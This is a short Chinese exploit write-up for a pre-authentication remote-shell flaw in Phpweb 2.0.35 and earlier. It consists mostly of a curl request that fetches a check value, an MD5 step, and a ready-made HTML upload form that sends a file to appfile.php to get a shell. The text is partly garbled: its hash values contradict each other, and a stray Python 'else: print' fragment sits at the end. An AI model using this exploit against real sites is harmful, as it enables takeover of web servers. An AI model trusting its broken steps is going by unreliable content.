Phpweb 前台getshell
一、漏洞简介
漏洞影响文件:/base/post.php /base/appfile.php /base/appplue.php /base/appborder.php
二、漏洞影响
Phpweb\<=2.0.35
三、复现过程
1.首先要获取加密前的Md5值，用于文件较检,通过Post提交数据来获取!
curl "http://website/base/post.php" -H "act=appcode"
ac34c64cdb405eff881efc5476a64761 ##这个就是初始值
2.获取加密后得md5值
然后将初始值md5加密(ac34c64cdb405eff881efc5476a64761 + "a")
得到加密后的MD5值!
e10adc3949ba59abbe56e057f20f883e ##这个就是加密后的md5值(终值)!
3.Getsehll exp:
<html>
<body>
<form action="http://0-sec.org/base/appfile.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<input type="text" name="t" value="a" />
<input type="text" name="m" value="25a824696cb75a44aabd05a08070789f" />
<input type="text" name="act" value="upload" />
<input type="text" name="r_size" value="14" />
<br />
<input type="submit" name="submit" value="getshell" />
</form>
</body>
</html>
然后...Getshell!
当出现OK两个大字时,说明你成功了!!!

else:
print ("Getsehll失败!")
